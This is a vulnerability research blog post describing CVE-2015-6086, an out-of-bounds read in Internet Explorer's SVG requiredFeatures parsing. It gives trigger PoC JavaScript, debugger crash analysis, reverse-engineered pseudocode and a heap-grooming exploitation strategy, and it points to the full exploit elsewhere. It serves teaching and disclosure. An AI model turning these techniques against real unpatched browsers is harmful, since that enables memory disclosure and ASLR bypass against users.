Introduction
This is a story of an Out of Bound Read
bug in Internet Explorer 9-11
. This is almost 5 years old bug which got discovered in April 2015. It is a very interesting bug, at least from my perspective, because it was rejected
almost 4-5 times by Zero Day Initiative (ZDI) stating that it’s not exploitable
.
My SVG fuzzer was hitting a crash continuously, at first, the bug looked like usual Use after Free
as it was trying to read Invalid Memory
. But after triaging it turned out to be Out of Bound Read
bug. I submitted this bug to ZDI and they rejected it at first stating that they are not able to reproduce it. Later they rejected saying it’s not exploitable even after showing them that this bug is exploitable. I do consulting work too, so I was busy with some other projects. After 3-4 months, I got time to look into the bug again as I firmly believed that this is an exploitable
bug.
Crash
The vulnerability trigger is relatively simple.
function trigger() {
var polyLine = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
polyLine.setAttributeNS(null, 'requiredFeatures', '\n');
}
Note:
We need to enable Page Heaps
and Application Verifier
for the crash to occur.
(778.18c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000c0c0 ebx=00000005 ecx=00000000 edx=00000006 esi=0737f000 edi=0000002c
eip=64c305d4 esp=060faf08 ebp=060faf24 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
MSHTML!CDOMStringDataList::InitFromString+0x4b:
64c305d4 0fb706 movzx eax,word ptr [esi] ds:0023:0737f000=????
As you can see that the Read Access Violation
has occurred when it tried to de-reference an Invalid Memory.
Crash Analysis
Now, let’s find out what ESI
register points to.
0:007> dc @esi
0737f000 ???????? ???????? ???????? ???????? ????????????????
0737f010 ???????? ???????? ???????? ???????? ????????????????
0737f020 ???????? ???????? ???????? ???????? ????????????????
0737f030 ???????? ???????? ???????? ???????? ????????????????
0737f040 ???????? ???????? ???????? ???????? ????????????????
0737f050 ???????? ???????? ???????? ???????? ????????????????
0737f060 ???????? ???????? ???????? ???????? ????????????????
0737f070 ???????? ???????? ???????? ???????? ????????????????
Nice, ESI
seems to hold reference of either freed memory
or unmapped memory
. Let’s try to find out by executing !heap -p -a <address>
.
0:007> !heap -p -a @esi
address 0737f000 found in
_DPH_HEAP_ROOT @ 161000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
73c1f70: 737eff0 10 - 737e000 2000
6f4a8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77895ede ntdll!RtlDebugAllocateHeap+0x00000030
7785a40a ntdll!RtlpAllocateHeap+0x000000c4
77825ae0 ntdll!RtlAllocateHeap+0x0000023a
76afea43 ole32!CRetailMalloc_Alloc+0x00000016
76f44557 OLEAUT32!APP_DATA::AllocCachedMem+0x00000060
76f4476a OLEAUT32!SysAllocStringByteLen+0x0000003d
76f447bf OLEAUT32!ErrStringCopyNoNull+0x00000016
76f45dda OLEAUT32!VariantChangeTypeEx+0x00000a19
63e871b6 MSHTML!VariantChangeTypeSpecial+0x00000093
63f8581c MSHTML!CElement::SetAttributeFromPropDesc+0x00000069
63f857c3 MSHTML!CElement::ie9_setAttributeNSInternal+0x000003b0
64334301 MSHTML!CElement::setAttributeNS_Helper+0x00000069
6474d0fb MSHTML!CElement::Var_setAttributeNS+0x0000014a
64a65d9c MSHTML!CFastDOM::CElement::Trampoline_setAttributeNS+0x0000003c
63580fb6 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x0000018e
6357ed52 jscript9!Js::InterpreterStackFrame::Process+0x00001e72
6357f499 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000200
Sad, this is not a Use after Free
vulnerability. Let’s dump the UserAddr and see what it holds.
0:007> dc 737eff0
0737eff0 00000002 0000000a c0c0c0c0 c0c0c0c0 ................
0737f000 ???????? ???????? ???????? ???????? ????????????????
0737f010 ???????? ???????? ???????? ???????? ????????????????
0737f020 ???????? ???????? ???????? ???????? ????????????????
0737f030 ???????? ???????? ???????? ???????? ????????????????
0737f040 ???????? ???????? ???????? ???????? ????????????????
0737f050 ???????? ???????? ???????? ???????? ????????????????
0737f060 ???????? ???????? ???????? ???????? ????????????????
I don’t know if you noticed or not, 737eff0
holds an interesting value, i.e. 0000000a
which corresponds to \n
. Also note that this allocation was done by OLEAUT32
which allocates memory in OLEAUT32 Cached Heap
.
So, the next obvious thing to do was to try looking at the MSHTML!CDOMStringDataList::InitFromString
function in IDA Pro and understand what’s happening.
I invested some time to reverse engineer this particular function code.
HRESULT __thiscall CDOMStringDataList::InitFromString(CDOMStringDataList *this, LPCWSTR lpCWStr)
{
SIZE_T strLen; // Used in different places differently
HRESULT hResult;
PWCHAR pCurChar;
CStr *pCStr;
PWCHAR pCurString;
CDOMStringDataList *pCDOMStringDataList;
int outString;
strLen = 0;
pCDOMStringDataList = this;
hResult = S_OK;
CDOMStringDataList::Clear(this);
pCurChar = (PWCHAR)lpCWStr;
while ( *pCurChar != (_WORD)strLen )
{
// Trim white spaces
while ( IsCharSpaceW(*pCurChar) )
++pCurChar;
// Bail out if string starts with comma
if ( *pCurChar == ',' )
return E_FAIL;
pCurString = pCurChar;
do
{
++pCurChar;
++strLen;
}
while ( !IsCharSpaceW(*pCurChar) && *pCurChar != ',' && *pCurChar );
outString = NULL;
hResult = CImplAry::AppendIndirect<4>(pCDOMStringDataList, &outString, &pCStr);
if ( hResult < 0 || (hResult = CStr::Set(pCStr, (LPVOID)strLen, pCurString, strLen, 1), hResult < 0) )
{
CStr::_Free((CStr *)&outString);
return hResult;
}
while ( IsCharSpaceW(*pCurChar) )
++pCurChar;
if ( *pCurChar == ',' )
++pCurChar;
CStr::_Free((CStr *)&outString);
strLen = 0;
}
return hResult;
}
Note:
Do not always belive in the disassembly produced by IDA Pro. Verify it manually by reading the Assembly code.
If you look closely at the function, you will be able to see the bug. So, the bug is improper handling of new line ("\n")
and white space character (" ")
. Due to this bug, it skips over and reads past the NULL terminator
.
As, the attribute string is stored in the Heap, we need to carefully craft the adjacent Heap chunk
to exploit this issue. But for now, let’s find out if the string is stored on the Process Heap
or Isolated Heap
.
Let’s dump the Process Heap
and Isolated Heap
handle.
0:007> ? poi(MSHTML!g_hProcessHeap)
Evaluate expression: 1441792 = 00160000
0:007> ? poi(MSHTML!g_hIsolatedHeap)
Evaluate expression: 104857600 = 06400000
If you look at the _DPH_HEAP_ROOT
value from the !heap -p -a
output you will see that _DPH_HEAP_ROOT @ 161000
. We can conclude that requiredFeatures
attribute is stored in Process Heap
instead of Isolated Heap
.
Recap
Out of Bound Read
vulnerability while settingrequiredFeatures
attribute valuerequiredFeatures
attribute is stored in theProcess Heap
requiredFeatures
attribute is cachedrequiredFeatures
attribute size can be dynamic
Now, let’s play more with the trigger PoC and try to set the requiredFeatures
attribute to \n\n\n\n\n\n\n\n\n
and examine the memory.
function trigger() {
var polyLine = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
polyLine.setAttributeNS(null, 'requiredFeatures', '\n\n\n\n\n\n\n\n\n');
}
Before launching the PoC, let’s put a break point on MSHTML!CDOMStringDataList::InitFromString
. When the breakpoint is hit, we will examine the memory pointed by ESI
register.
Note:
Disable Page Heaps
and Application Verifier
, we do not need them now.
0:007> dc @esi L7
00569634 000a000a 000a000a 000a000a 000a000a ................
00569644 0000000a f4b352f6 00000000 .....R......
If you see the dump of the Heap chunk
of requiredFeatures
attribute carefully, you will notice that there are nine \n
which is the same as what we tried to set in the PoC. But notice f4b352f6
, where did this came from?
This is the padding added to the attribute value if the length is not aligned properly.
Next, we need to find a way to read the value of the requiredFeatures
attribute. Looking at the Mozilla Developer Network page for SVGStringList
interface, I came to know that we can read the attribute value using getItem(in unsigned long index)
.
Cool, let’s modify our PoC and try to read the value of requiredFeatures
attribute.
function trigger() {
var polyLine = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
polyLine.setAttributeNS(null, 'requiredFeatures', "Ashfaq\nAnsari");
var message = "Number of Items: " + polyLine.requiredFeatures.numberOfItems + "\n";
for (var i = 0; i < polyLine.requiredFeatures.numberOfItems; i++) {
message += "Index: " + i + "\nValue: " + polyLine.requiredFeatures.getItem(i) + "\n";
}
alert(message);
}
Great, this confirms that we can read requiredFeatures
attribute value using getItem(in unsigned long index)
.
Exploitation Strategy
- Defragment the
Process Heap
using object of the desired size - Make holes in the allocation
- Re-allocate the holes with
requiredFeatures
attribute - Trigger the vulnerability and read the
Out of Bound
memory - As the browser does not crash when the vulnerability is triggered, we can try until we succeed
Exploitation Challenges
- Find a size in which
padding
does not get appended - Find an object of the relevant size which gets stored in the
Process Heap
requiredFeatures
attribute is cachedMemory Protector
is enabled by defaultNULL
terminator in the adjacent Heap chunk’s_HEAP_ENTRY
structure will kill the exploit attempt
Exploitation
Now, we know the strategy and the challenges to exploit this bug. First, let’s try to find a size where the padding does not get appeneded.
After trying different lengths of requiredFeatures
attribute, finally, I found that, if the size is 0x0A0
, then there will be no padding appened to the attribute value.
Note:
Keep in mind that the value of requiredFeatures
attribute is stored as BSTR
).
Now, it’s time to find an object of size 0x0A0
which is stored in the Process Heap
. After spending some time in IDA Pro, I found CDOMMSGestureEvent
element whose size is 0x0A0
and is stored in the Process Heap
.
Note:
MSGestureEvent
is not supported in Internet Explorer 9. You need to use different element.
Another challenge faced during the exploitation of this bug was that requiredFeatures
attribute is cached and stored in OLEAUT32 Cached Heap
. I tried Alexander Sotirov’s Plunger technique
, but it did not work well for me. But, after experimenting, I found that a single trick can bypass this behaviour.
for (i = 0; i < 0x50; i++) {
polyLineArray[i] = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
// Trick to bypass allocation on OLEAUT32 Cached Heap
polyLineArray[i].setAttributeNS(null, 'attrib' + i, createString("A", 0x0A0));
polyLineArray[i].setAttributeNS(null, 'requiredFeatures', createString("\n", 0x0A0));
}
Now, let’s deal with Memory Protector
which is another hurdle in the exploitation phase. There are really good papers on Memory Protector
which can be found in the references section.
In simple terms the objects protected by Memory Protector
won’t be freed directly. Instead, they will be put into a wait list
which will be freed when it reaches certain threshold (i.e 100,000 bytes
) and there are no references of the freed memory on the Stack
.
Finally, our last hurdle is the NULL
bytes in the _HEAP_ENTRY
structure of the Heap chunk
which we want to read using this Out of Bound Read
bug. I’m still tying to figure out why some Heap chunk
have NULL
bytes and some do not, even when they are of the same size. If you have the answer, please do let me know.
Final Exploit
I have started a series of workshops on From Crash to Exploit
at null - The Open Security Community
. I already took the first workshop where I discussed the very same bug.
The exploit
and other materials
for this bug can be found at the below given Github
repository.
This is just the BEGINNING
, not the END
.
Author
Ashfaq Ansari is working as Sr. Security Researcher at Payatu Technologies where he spends time experimenting and understanding different attack vectors to exploit Windows User Mode as well as Kernel Mode vulnerabilities. He likes fuzzing and a fanboy of machine learning. He is a computer enthusiast and tries to learn new things.
Ashfaq Ansari
ashfaq[at]payatu[dot]com
@HackSysTeam | Blog | null | Github
References
- http://payatu.com/advisory-ie_cdomstringdatalist/
- https://technet.microsoft.com/library/security/MS15-112
- http://www.zerodayinitiative.com/advisories/ZDI-15-547/
- https://developer.mozilla.org/en/docs/Web/API/SVGStringList
- http://www.phreedom.org/research/heap-feng-shui/heap-feng-shui.html
- https://msdn.microsoft.com/en-us/library/windows/desktop/ms221069(v=vs.85).aspx
- https://securityintelligence.com/understanding-ies-new-exploit-mitigations-the-memory-protector-and-the-isolated-heap/
- http://blog.trendmicro.com/trendlabs-security-intelligence/mitigating-uaf-exploits-with-delay-free-for-internet-explorer/
- https://github.com/promised-lu/MemoryProtection
- http://illmatics.com/Understanding_the_LFH.pdf
- https://bromiumlabs.files.wordpress.com/2015/01/demott_uaf_migitation_and_bypass2.pdf
The post From Crash to Exploit: CVE-2015-6086 – Out of Bound Read/ASLR Bypass appeared first on payatu.